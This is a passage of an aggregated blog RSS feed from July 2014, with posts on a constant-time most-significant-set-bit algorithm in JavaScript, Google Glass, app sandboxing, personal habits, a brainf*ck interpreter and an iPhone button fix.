&lt;p&gt;If you’re interested in getting any further details about the laptop, feel free to &lt;a href="/contact/"&gt;contact&lt;/a&gt; me.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Fri, 04 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/07/04/galago-ultra-pro-review/</guid></item><item><title>Thoughts on Glass</title><link>https://zacs.site/blog/thoughts-on-glass.html</link><description>&lt;p&gt;The problem with Google Glass is not that it is inherently creepy, but rather that it has the potential for many uses of dubious morality; and as our minds happened upon those possibilities in the wake of Glass&amp;#8217; unveiling, and we paused to ponder an appropriate reaction to these eventualities, it became socially acceptable to walk around smacking these expensive devices off the faces of those who deigned to wear them. Like a small child who, in the split second before a parent can exert physical restraint, runs off unknowingly towards a potentially harmful situation, so, too, did the least of us jump on this brief respite in the broad narrative of what is and is not acceptable and begin harming others for something we readily admit that we do not understand.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/thoughts-on-glass.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 03 Jul 2014 20:18:23 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/thoughts-on-glass.html</guid></item><item><title>Finding the Most Significant Set Bit of a Word in Constant Time</title><link>https://www.akalin.com/constant-time-mssb</link><description>&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;1. Overall method&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Finding the most significant set bit of a word (equivalently, finding
the integer log base 2 of a word, or counting the leading zeros of a
word) is
a &lt;a href="https://stackoverflow.com/questions/2589096/find-most-significant-bit-left-most-that-is-set-in-a-bit-array"&gt;well-studied
problem&lt;/a&gt;. &lt;a href="http://graphics.stanford.edu/~seander/bithacks.html#IntegerLogObvious"&gt;Bit
Twiddling Hacks&lt;/a&gt; lists various methods,
and &lt;a href="https://en.wikipedia.org/wiki/Count_leading_zeros"&gt;Wikipedia&lt;/a&gt;
gives the CPU instructions that perform the operation directly.&lt;/p&gt;

&lt;p&gt;However, all of these methods are either specific to a certain word
size or take more than constant time (in terms of number of word
operations). That raises the question of whether there &lt;em&gt;is&lt;/em&gt; a
method that takes constant time&amp;mdash;surprisingly, the answer is
  &amp;ldquo;yes&amp;rdquo;!&lt;sup&gt;&lt;a href="#fn1" id="r1"&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;The key idea is to split a word into \(\lceil \sqrt{w} \rceil\)
blocks of \(\lceil \sqrt{w} \rceil\) bits (where \(w\) is the number
of bits in a word). One can then do certain operations on blocks
&amp;ldquo;in parallel&amp;rdquo; by stuffing multiple blocks into a word and
then performing a single word operation.&lt;/p&gt;

&lt;p&gt;Furthermore, since the block size and block count are the same, one
can transform the bits of a block into the blocks of a word and vice
versa in various ways using only a constant number of word
operations.&lt;/p&gt;

&lt;p&gt;In particular, this lets us split up the problem into two parts:
finding the most significant set (i.e., non-zero) block, and finding
the most significant set bit within that block. It then turns out that
both parts can be done in constant time.&lt;/p&gt;

&lt;p&gt;For concreteness, we'll use 32-bit words when explaining the
  method below.&lt;sup&gt;&lt;a href="#fn2" id="r2"&gt;[2]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;2. Finding the most significant set bit of a block&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;First, let's consider the sub-problem of finding the most
significant set bit of a block. In fact, let's give ourselves a bit of
room and consider only blocks with the high bit cleared for now; we'll
see why we need this extra bit of room soon.&lt;/p&gt;

&lt;div class="p"&gt;For 32 bits, the block size is 6 bits, so with the high bit of a
block cleared we're left with 5 bits. Let's look at a naive
implementation:





&lt;pre class="code-container"&gt;&lt;code class="language-javascript"&gt;function mssb5_naive(x) {
  var c = 0;
  for (var i = 0; i &amp;lt; 5 &amp;amp;&amp;amp; x &amp;gt;= (1 &amp;lt;&amp;lt; i); ++i) {
    ++c;
  }
  return c - 1;
}&lt;/code&gt;&lt;/pre&gt;


In the above, we consider successive powers of 2 until we find one
greater than our given number. Then the answer is simply one less than
that power.&lt;/div&gt;

&lt;p&gt;Notice that the loop has at most 5 iterations; this lines up nicely
with the 5 full blocks in an entire 32-bit word. (This is why we saved
our extra bit of room.) If we can copy our block to the higher 4
blocks and then use word operations to operate on those blocks in
parallel, then we're good.&lt;/p&gt;

&lt;p&gt;For our example, let \(x = 5 = 00101\). Duplicating \(x\) among all
the blocks can easily be done by multiplying by the appropriate
constant:&lt;/p&gt;



&lt;pre class="binary-example"&gt;
  &lt;span class="first-five"&gt;00 000000 000000 000000 000000 000101&lt;/span&gt;
* &lt;span class="last-operand low-bit-full"&gt;00 000001 000001 000001 000001 000001&lt;/span&gt;
  &lt;span class="first-five"&gt;00 000000 000000 000000 000000 000101&lt;/span&gt;
  &lt;span class="first-five"&gt;00 000000 000000 000000 000101&lt;/span&gt;
  &lt;span class="first-five"&gt;00 000000 000000 000101&lt;/span&gt;
  &lt;span class="first-five"&gt;00 000000 000101&lt;/span&gt;
  &lt;span class="first-five last-operand"&gt;00 000101                            &lt;/span&gt;
  &lt;span class="lower-bits-full"&gt;00 000101 000101 000101 000101 000101&lt;/span&gt;
&lt;/pre&gt;

&lt;p&gt;In fact, this is a simple use of a more general tool. If \(x\) and
\(y\) are expressed in binary, then multiplying \(x\) by \(y\) can be
seen as taking the index of each set bit in \(y\), creating a copy of
\(x\) shifted by each such index, and then adding up all the shifted
copies. This case is just taking \(y\) to be the constant where the
\(\{ 0, 6, 12, 18, 24 \}\)th bits are set.&lt;/p&gt;

&lt;p&gt;The first operation we need to parallelize is the comparisons to
the powers of 2. This can be converted to a word operation by noting
the comparison \(x \geq y\) can be performed by checking the sign of \(x
- y\), and that checking the sign can be done by setting the unused
high bit of \(x\) before doing the comparison, and then checking to
see if that high bit was left intact (i.e., not borrowed from). So we
pre-compute a constant with the \(n\)th block containing the \(n\)th
power of 2, then subtract that from our block containing the
duplicated blocks with the high bit set. Finally, we can then mask off
the unneeded lower bits:&lt;/p&gt;

&lt;pre class="binary-example"&gt;
  &lt;span class="lower-bits-full"&gt;00 000101 000101 000101 000101 000101&lt;/span&gt;
| &lt;span class="last-operand high-bit-full"&gt;00 100000 100000 100000 100000 100000&lt;/span&gt;
  &lt;span class="full"&gt;00 100101 100101 100101 100101 100101&lt;/span&gt;
- &lt;span class="last-operand lower-bits-full"&gt;00 010000 001000 000100 000010 000001&lt;/span&gt;
  &lt;span class="high-bit-full"&gt;00 010101 011101 100001 100011 100100&lt;/span&gt;
&amp; &lt;span class="last-operand high-bit-full"&gt;00 100000 100000 100000 100000 100000&lt;/span&gt;
  &lt;span class="high-bit-full"&gt;00 000000 000000 100000 100000 100000&lt;/span&gt;
&lt;/pre&gt;

&lt;p&gt;We're left with a word where all bits except for the high bits of a
block are zero. We still need to sum up those bits, but since they're
a block apart, that can be done by multiplication with a constant to
line up the bits in a single column. The constant turns out to have
the \(\{ 0, 6, 12, 18, 24 \}\)th bits set, with the answer being in
  the top three bits:&lt;sup&gt;&lt;a href="#fn3" id="r3"&gt;[3]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;pre class="binary-example"&gt;
  &lt;span class="high-bit-full"&gt;00 000000 000000 100000 100000 100000&lt;/span&gt;
* &lt;span class="last-operand low-bit-full"&gt;00 000001 000001 000001 000001 000001&lt;/span&gt;
  &lt;span class="high-bit-full"&gt;00 000000 000000 100000 100000 100000&lt;/span&gt;
  &lt;span class="high-bit-full"&gt;00 000000 100000 100000 100000&lt;/span&gt;
  &lt;span class="high-bit-full"&gt;00 100000 100000 100000&lt;/span&gt;
  &lt;span class="high-bit-full"&gt;00 100000 100000&lt;/span&gt;
  &lt;span class="high-bit-full last-operand"&gt;00 100000                            &lt;/span&gt;
  &lt;span class="top-three"&gt;01 100001 100001 100001 000000 100000&lt;/span&gt;

MSSB5(x) = 011 - 1 = 2
&lt;/pre&gt;

&lt;div class="p"&gt;We can now write &lt;code&gt;mssb5()&lt;/code&gt; using a constant number of
  word operations:&lt;sup&gt;&lt;a href="#fn4" id="r4"&gt;[4]&lt;/a&gt;&lt;/sup&gt;





&lt;pre class="code-container"&gt;&lt;code class="language-javascript"&gt;function mssb5(x) {
  // Duplicate x among all the blocks.
  x *= b('00 000001 000001 000001 000001 000001');

  // Compare to successive powers of 2 in parallel.
  x |= b('00 100000 100000 100000 100000 100000');
  x -= b('00 010000 001000 000100 000010 000001');
  x &amp;amp;= b('00 100000 100000 100000 100000 100000');

  // Sum up the bits into the high 3 bits.
  x *= b('00 000001 000001 000001 000001 000001');

  // Shift down and subtract 1 to get the answer.
  return (x &amp;gt;&amp;gt;&amp;gt; 29) - 1;
}&lt;/code&gt;&lt;/pre&gt;


Then we can then find the most significant set bit of a full block
by simply testing the high bit first:





&lt;pre class="code-container"&gt;&lt;code class="language-javascript"&gt;function mssb6(x) {
  return (x &amp;amp; b('100000')) ? 5 : mssb5(x);
}&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;3. Finding the most significant set block&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Let's now consider the sub-problem of finding the most significant
set block of a word (ignoring the partial one). Similar to the above,
we'd like to be able to use subtraction to compare all the blocks to
zero at the same time. However, that requires the high bit of each
block to be unused. That's easy enough to handle: just separate the
high bit and the lower bits of each block, test the lower bits, and
then bitwise-or the results together:&lt;/p&gt;

&lt;pre class="binary-example"&gt;
   x = &lt;span class="full"&gt;00 100000 000000 010000 000000 000001&lt;/span&gt;
&amp;  C = &lt;span class="last-operand high-bit-full"&gt;00 100000 100000 100000 100000 100000&lt;/span&gt;
  y1 = &lt;span class="high-bit-full"&gt;00 100000 000000 000000 000000 100000&lt;/span&gt;

   x = &lt;span class="full"&gt;00 100000 000000 010000 000000 000001&lt;/span&gt;
&amp; ~C = &lt;span class="last-operand lower-bits-full"&gt;00 011111 011111 011111 011111 011111&lt;/span&gt;
  t1 = &lt;span class="lower-bits-full"&gt;00 000000 000000 010000 000000 000001&lt;/span&gt;

   C = &lt;span class="full"&gt;00 100000 100000 100000 100000 100000&lt;/span&gt;
- t1 = &lt;span class="last-operand lower-bits-full"&gt;00 000000 000000 010000 000000 000001&lt;/span&gt;
  t2 = &lt;span class="high-bit-full"&gt;00 100000 100000 010000 100000 011111&lt;/span&gt;

 ~t2 = &lt;span class="high-bit-full"&gt;11 011111 011111 101111 011111 100000&lt;/span&gt;
&amp;  C = &lt;span class="last-operand high-bit-full"&gt;00 100000 100000 100000 100000 100000&lt;/span&gt;
  y2 = &lt;span class="high-bit-full"&gt;00 000000 000000 100000 000000 100000&lt;/span&gt;

  y1 = &lt;span class="high-bit-full"&gt;00 100000 000000 000000 000000 100000&lt;/span&gt;
| y2 = &lt;span class="last-operand high-bit-full"&gt;00 000000 000000 100000 000000 100000&lt;/span&gt;
   y = &lt;span class="high-bit-full"&gt;00 100000 000000 100000 000000 100000&lt;/span&gt;
&lt;/pre&gt;

&lt;p&gt;The result is stored in the high bits of each block. If we could
pack all the bits together, we'd then be able to
use &lt;code&gt;mssb5()&lt;/code&gt;. This is similar to where we had to add all
the bits together in part 2, but we need a constant to stagger the
bits instead of lining them up. The constant to put the answer in the
high bits turns out to have the \(\{ 7, 12, 17, 22, 27 \}\)th bits
set:&lt;/p&gt;

&lt;pre class="binary-example"&gt;
y &gt;&gt;&gt; 5 = &lt;span class="low-bit-full"&gt;00 000001 000000 000001 000000 000001&lt;/span&gt;
        * &lt;span class="last-operand every-fifth-from-seventh"&gt;00 001000 010000 100001 000010 000000&lt;/span&gt;
          &lt;span class="low-bit-full"&gt;10 000000 000010 000000 00001&lt;/span&gt;
          &lt;span class="low-bit-full"&gt;00 000001 000000 000001&lt;/span&gt;
          &lt;span class="low-bit-full"&gt;00 100000 000000 1&lt;/span&gt;
          &lt;span class="low-bit-full"&gt;00 000000 01&lt;/span&gt;
          &lt;span class="last-operand low-bit-full"&gt;00 001                               &lt;/span&gt;
        = &lt;span class="top-five"&gt;10 101001 010010 100001 000010 000000&lt;/span&gt;
&lt;/pre&gt;

&lt;p&gt;This yields the answer &lt;code&gt;10101&lt;/code&gt;, where the \(i\)th bit is
set exactly when the \(i\)th block of \(x\) is non-zero. Therefore,
the most significant block is then
simply &lt;code&gt;mssb5(10101)&lt;/code&gt;.&lt;/p&gt;

&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;4. Putting it all together&lt;/h2&gt;
&lt;/header&gt;

&lt;div class="p"&gt;With the building blocks above, we can now implement the algorithm
for finding the most significant set bit in the full blocks of a
  word:&lt;sup&gt;&lt;a href="#fn5" id="r5"&gt;[5]&lt;/a&gt;&lt;/sup&gt;





&lt;pre class="code-container"&gt;&lt;code class="language-javascript"&gt;function mssb30(x) {
  var C = b('00 100000 100000 100000 100000 100000');

  // Check whether the high bit of each block is set.
  var y1 = x &amp;amp; C;

  // Check whether the lower bits of each block is set.
  var y2 = ~(C - (x &amp;amp; ~C)) &amp;amp; C;

  var y = y1 | y2;

  // Shift the result bits down to the lowest 5 bits.
  var z = ((y &amp;gt;&amp;gt;&amp;gt; 5) * b('0000 10000 10000 10000 10000 10000000')) &amp;gt;&amp;gt;&amp;gt; 27;

  // Compute the bit index of the most significant set block.
  var b1 = 6 * mssb5(z);

  // Compute the most significant set bit inside the most significant
  // set block.
  var b2 = mssb6((x &amp;gt;&amp;gt;&amp;gt; b1) &amp;amp; b('111111'));

  return b1 + b2;
}&lt;/code&gt;&lt;/pre&gt;


And then it's simple enough to extend it to find the most
significant set bit of a full word:





&lt;pre class="code-container"&gt;&lt;code class="language-javascript"&gt;function mssb32(x) {
  // Check the high duplet and fall back to mssb30 if it's not set.
  var h = x &amp;gt;&amp;gt;&amp;gt; 30;
  return h ? (30 + mssb5(h)) : mssb30(x);
}&lt;/code&gt;&lt;/pre&gt;


So the code above shows that we can find the most significant set
bit of a 32-bit word in a constant number of 32-bit word
operations. It is easy enough to see how it can be adapted to yield a
similar algorithm for a given arbitrary (but sufficiently large) word
size, simply by pre-computing the various word-size-dependent
constants.&lt;/div&gt;

&lt;p&gt;It is also easy to see why no one actually uses this method on real
  computers even in the absence of built-in instructions: it is much
  more complicated and almost certainly slower than existing methods for
  real word sizes! Also, the word-RAM model&amp;mdash;where we assume all
  word operations take constant time&amp;mdash;is useful only when the word
  size is fixed or narrowly bounded. When we allow word size to vary
  arbitrarily, the word-RAM model breaks down&amp;mdash;for one,
  multiplication grows super-linearly with respect to word size!  Alas,
  this method is doomed to remain a theoretical curiosity, albeit one
  that uses a few clever tricks.&lt;/p&gt;

&lt;span class="dont-care"&gt;&lt;/span&gt;

&lt;/section&gt;

&lt;hr /&gt;

&lt;p&gt;Like this post? Subscribe to
  &lt;!-- The image is 256x256, the center of the dot is 189 pixels from the
     top, and the radius of the dot is 24. Therefore, the dot is 43/256 =
     0.16796875 of the image height above the bottom.--&gt;
&lt;a href="feed/atom"&gt;my feed &lt;img alt="RSS icon" src="feed-icon.svg" /&gt;&lt;/a&gt;

  or follow me on
  &lt;a href="https://twitter.com/fakalin"&gt;Twitter &lt;img alt="Twitter icon" src="twitter-icon.svg" /&gt;&lt;/a&gt;.&lt;/p&gt;


&lt;section class="footnotes"&gt;
  &lt;header&gt;
    &lt;h2&gt;Footnotes&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p id="fn1"&gt;[1] The constant-time method is detailed in the original
    papers for the &lt;a href="https://en.wikipedia.org/wiki/Fusion_tree"&gt;fusion
    tree&lt;/a&gt; data
    structure. &lt;a href="http://dl.acm.org/citation.cfm?id=100217"&gt;The
    first paper&lt;/a&gt; is unfortunately behind a paywall, but
    &lt;a href="https://www.sciencedirect.com/science/article/pii/0022000093900404?np=y"&gt;the
      second paper&lt;/a&gt;, essentially a rehash of the first one, is
    freely downloadable.&lt;/p&gt;

  &lt;p&gt;The method is also explained in
    &lt;a href="http://courses.csail.mit.edu/6.851/spring12/lectures/L12.html"&gt;lecture
      12&lt;/a&gt; of Erik
    Demaine's &lt;a href="http://courses.csail.mit.edu/6.851/spring12/"&gt;Advanced
      Data Structures&lt;/a&gt; class, which is how I originally found out
    about it.
    &lt;a href="#r1"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn2"&gt;[2] Demaine uses 16-bit words, which factors nicely into
    4 blocks of 4 bits, but it is instructive to see how the method
    deals with the word size not a perfect square.
    &lt;a href="#r2"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn3"&gt;[3] In this case, the partial 6th block has enough room
    to hold the answer but this may not be true in general. This can
    be remedied easily enough by shifting down the block high bits to
    the low bits before multiplying; the answer will then be in the
    last full block.
    &lt;a href="#r3"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn4"&gt;[4] &lt;code&gt;b(str)&lt;/code&gt; just parses a number from its
    binary string representation.
    &lt;a href="#r4"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn5"&gt;[5] Try out this function (and the others on this page)
    by opening up the JS console on this page!
    &lt;a href="#r5"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;</description><author>Fred Akalin</author><pubDate>Thu, 03 Jul 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.akalin.com/constant-time-mssb</guid></item><item><title>Habits Take Preparation</title><link>https://josh.works/growth/home/2014/07/03/habits-take-preparation/</link><description>&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe59e4b0278244cea111/1434910449017/2014-07-03-10-39-29.jpg"&gt;&lt;img alt="There are about twenty geese that live next to my apartment. The wander around all morning eating. I get to watch." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe59e4b0278244cea111_1434910449017_2014-07-03-10-39-29.jpg_" /&gt;&lt;/a&gt;
Kristi and I moved to Golden, Colorado. We’ve been in our new apartment for five days. I’m trying to quickly settle into a routine that makes sense for both of us.&lt;/p&gt;

&lt;p&gt;For example - I work for a company in Boston. While I could keep local working hours (Mountain Time) I prefer to free up my afternoons and evenings by keeping Eastern time. So my work day starts at 6:30am. I don’t want to be rushed in the morning, so I’d like to be getting up by about 5:30.&lt;/p&gt;

&lt;p&gt;So far, I’ve been getting up when I want, but I’m getting very tired by the early evening. I’m not going to bed early enough.&lt;/p&gt;

&lt;p&gt;My priority right now is to figure out 1) How to go to bed early and 2) how to incorporate naps into my day.&lt;/p&gt;

&lt;p&gt;Both of these take thought, and are not something I’ll just throw myself into.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 03 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/home/2014/07/03/habits-take-preparation/</guid></item><item><title>Clean Code</title><link>https://june.kim/clean-code/</link><author>june.kim</author><pubDate>Thu, 03 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/clean-code/</guid></item><item><title>Linux Kernel 3.15.3 on Linux Mint 17 (or other Debian-Based Distributions)</title><link>https://thomashunter.name/posts/2014-07-03-linux-kernel-3-15-3-on-linux-mint-17-or-other-debian-based-distributions</link><author>Thomas Hunter II</author><pubDate>Thu, 03 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-07-03-linux-kernel-3-15-3-on-linux-mint-17-or-other-debian-based-distributions</guid></item><item><title>A Raspberry Pi photovoltaic monitoring solution</title><link>https://blog.tafkas.net/2014/07/03/a-raspberry-pi-photovoltaic-monitoring-solution/</link><description>A friend of mine had a photovoltaic system (consisting of 14 solar panels) installed on his rooftop last year. As I was looking for another raspberry pi project I convinced him I would setup a reliable monitoring solution that will lead him to an access to the data in real-time data. The current setup comes with an inverter by the company Kostal.
The Kostal Piko 5.5 runs an internal web server showing statistics like current power, daily energy, total energy plus specific information for each string.</description><author>Tafkas Blog</author><pubDate>Thu, 03 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2014/07/03/a-raspberry-pi-photovoltaic-monitoring-solution/</guid></item><item><title>Sandboxing</title><link>https://zacs.site/blog/sandboxing.html</link><description>&lt;p&gt;Since Apple began requiring that developers submitting applications to the Mac App Store sandbox their products, it has remained a somewhat controversial decision. Two years after the rule went in to effect, it continues to preclude a number of great apps from sharing in the spotlight Apple so generously&amp;#160;&amp;#8212;&amp;#160;and to such great effect&amp;#160;&amp;#8212;&amp;#160;sheds on its platform&amp;#8217;s developers by featuring their creations on the store&amp;#8217;s front page. Nevertheless, by allowing users to continue downloading and installing programs from outside locations, Apple has avoided any significant amount of criticism; in fact, by presenting it as the security boon that it inarguably is, many praise this decision as a boon for all. And in reality, that is exactly the case: everyone, from developer to consumer benefited from this stipulation, including Apple itself.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/sandboxing.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 02 Jul 2014 09:54:04 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/sandboxing.html</guid></item><item><title>Accomplishments and Achievements</title><link>https://josh.works/growth/home/2014/07/02/accomplishments-and-achievements/</link><description>&lt;p&gt;We’re encouraged to accomplish and achieve, yes? From birth, we pass milestones. Generally these milestones grow in complexity as we add to our abilities - it’s been a while since I’ve been rewarded for not wetting myself - but they are usually on par with our abilities.&lt;/p&gt;

&lt;p&gt;For example, we expect high school graduation of high schoolers, college graduation of college students, etc. Most (most) middle-schoolers are not forced into college prep. I pity those that are.&lt;/p&gt;

&lt;p&gt;Maybe it’s my imagination, but there is a subtle tension between 
accomplishments and achievements.&lt;/p&gt;

&lt;p&gt;Accomplishments seem to be external. Achievements seem to be more internal. Graduation, a job - this is an accomplishment. But would you say “Graduating college is an achievement”? Maybe.&lt;/p&gt;

&lt;p&gt;How about feeling peace, or joy?&lt;/p&gt;

&lt;p&gt;Achieve seems more tied to a state of being. An accomplishment is related to a task, or a state of doing.&lt;/p&gt;

&lt;p&gt;Here’s my question - we strive for accomplishments, and encourage others to do the same. But does this happen at the expense of achieving a state of joy, or peace, or contentedness?&lt;/p&gt;

&lt;p&gt;Here’s some definitions of these words. They didn’t clear it up for me:&lt;/p&gt;

&lt;h2 id="accomplishment"&gt;accomplishment&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;|əˈkämpliSHmənt|
noun
something that has been achieved successfully: the reduction of inflation was a remarkable accomplishment.
• the successful achievement of a task: the accomplishment of planned objectives.
• an activity that a person can do well, typically as a result of study or practice: long-distance running was another of her accomplishments.
• skill or ability in an activity: a poet of considerable accomplishment.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id="achievement"&gt;achievement&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;|əˈCHēvmənt|
noun
1 a thing done successfully, typically by effort, courage, or skill: to reach this stage is a great achievement.
2 the process or fact of achieving something: the achievement of professional recognition | assessing ability in terms of academic achievement | a sense of achievement.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe59e4b0278244cea10e/1434910446386/2014-06-08-13-44-06.jpg"&gt;&lt;img alt="So green." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe59e4b0278244cea10e_1434910446386_2014-06-08-13-44-06.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 02 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/home/2014/07/02/accomplishments-and-achievements/</guid></item><item><title>Matt Ström &amp;amp; Josh Gross: Founders of Planetary</title><link>https://solomon.io/matt-strom-josh-gross-founders-of-planetary/</link><description>Josh Gross and Matthew Ström are former freelancers that banded together to create Planetary, a studio empowering companies through better design.</description><author>Sam Solomon</author><pubDate>Wed, 02 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/matt-strom-josh-gross-founders-of-planetary/</guid></item><item><title>Frak, an interpreter for the brainf*ck language</title><link>https://bastian.rieck.me/blog/2014/frak/</link><description>&lt;p&gt;I just finished the first version of &lt;em&gt;Frak&lt;/em&gt;, my interpreter for the
brainf*ck language. At present, the program is only capable of
executing brainf*ck programs that require less than 30000 bytes of
memory. I plan on adjusting the interpreter eventually so that it
becomes capable of managing its own memory.&lt;/p&gt;
&lt;h1 id="building-frak"&gt;Building &lt;em&gt;Frak&lt;/em&gt;&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;$ git clone http://github.com/Pseudomanifold/Frak.git
$ cd Frak
$ mkdir build
$ cd build
$ cmake ../
$ make
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="using-frak"&gt;Using &lt;em&gt;Frak&lt;/em&gt;&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;$ frak Hello.f
Hello World!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="more-information"&gt;More information&lt;/h1&gt;
&lt;p&gt;You can get the source from &lt;a href="http://github.com/Pseudomanifold/Frak"&gt;my git repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;See &lt;a href="https://en.wikipedia.org/wiki/Brainfuck"&gt;&amp;ldquo;the official Wikipedia page about Brainf*ck&amp;rdquo;&lt;/a&gt;. Although I have not added a proper licence yet, I lean
towards releasing the code under the &lt;a href="https://en.wikipedia.org/wiki/MIT_License"&gt;&amp;ldquo;MIT Licence&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 01 Jul 2014 22:57:17 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/frak/</guid></item><item><title>Resetting the Root Password on Linux</title><link>https://joshuarogers.net/articles/2014-07/resetting-root-password-linux/</link><description>The drunken scribblings of a mad man. Possibly some kind of ancient cuneiform. A random page out of the Middle Earth phone directory. Whatever it was, it was the server password, not that it matters now: the little Post-It note reminder had long since thrown itself into the waste paper bin. Somewhere a landfill sat, knowing our password and chuckling away at our misfortune.
It seems that our hero is in a bit of trouble, if only slightly self-inflicted.</description><author>Joshua Rogers</author><pubDate>Tue, 01 Jul 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-07/resetting-root-password-linux/</guid></item><item><title>Solve volume down button not working on iPhone 5</title><link>https://caiustheory.com/solve-volume-down-button-not-working-on-iphone-5/</link><description>&lt;p&gt;I noticed this morning that my volume down button (-) wasn&amp;rsquo;t working on my iPhone 5 running iOS 7. Pushing the physical button in didn&amp;rsquo;t change the volume. The volume up button increased the volume successfully still.&lt;/p&gt;
&lt;p&gt;As is my normal first step debugging iPhone weirdness, I rebooted the phone by turning it off, leaving it off for a few seconds, then booting it back up with the power button. Once powered off and on in this way, the volume down key still didn&amp;rsquo;t decrease the volume.&lt;/p&gt;
&lt;p&gt;Fearing a physical button issue at this point, I turned to google for suggestions on what else to try. Running across &lt;a href="https://discussions.apple.com/thread/4894152"&gt;this thread&lt;/a&gt; on Apple&amp;rsquo;s discussion forums, I tried out the solution in there.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &amp;ldquo;Settings&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Scroll down and tap on &amp;ldquo;General&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Tap on &amp;ldquo;Accessibility&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Scroll down to the bottom and tap on &amp;ldquo;AssistiveTouch&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Tap the toggle for AssistiveTouch to turn it on, and you should see a little icon appear on screen (white circle contained in a dark grey rounded square)&lt;/li&gt;
&lt;li&gt;Tap the AssistiveTouch icon (was in the top left corner on screen for me)&lt;/li&gt;
&lt;li&gt;Tap on &amp;ldquo;Device&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Tap &amp;ldquo;Volume Down&amp;rdquo; a bunch of times and you should see the volume being turned down&lt;/li&gt;
&lt;li&gt;Tap outside the AssistiveTouch dialog to close it&lt;/li&gt;
&lt;li&gt;Try pushing the physical Volume Down button&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In my case, following these steps made my physical volume down button start working again. Makes me wonder if the solution author on the apple discussion thread is right, in that this is a software issue and forcing a volume down action through the on-screen interface makes it remember that there&amp;rsquo;s a physical button to respond to as well.&lt;/p&gt;
&lt;p&gt;Either way, I can stop deafening myself whenever I receive a notification now!&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Tue, 01 Jul 2014 14:31:39 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/solve-volume-down-button-not-working-on-iphone-5/</guid></item><item><title>Orange Is the New Black: Season 2</title><link>https://olshansky.info/tv/orange_is_the_new_black_season_2/</link><description>Olshansky's review of Orange Is the New Black: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 01 Jul 2014 12:59:16 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/orange_is_the_new_black_season_2/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-61013.html</link><description>&lt;p&gt;It has been quite a while since I posted one of these&amp;#160;&amp;#8212;&amp;#160;more than a month, in fact: the last came out at &lt;a href="https://zacs.site/blog/cabin-porn-roundup-414.html"&gt;the beginning of May&lt;/a&gt;. Today, I finally have cause to bring this series back. Finally&amp;#160;&amp;#8212;&amp;#160;far too long 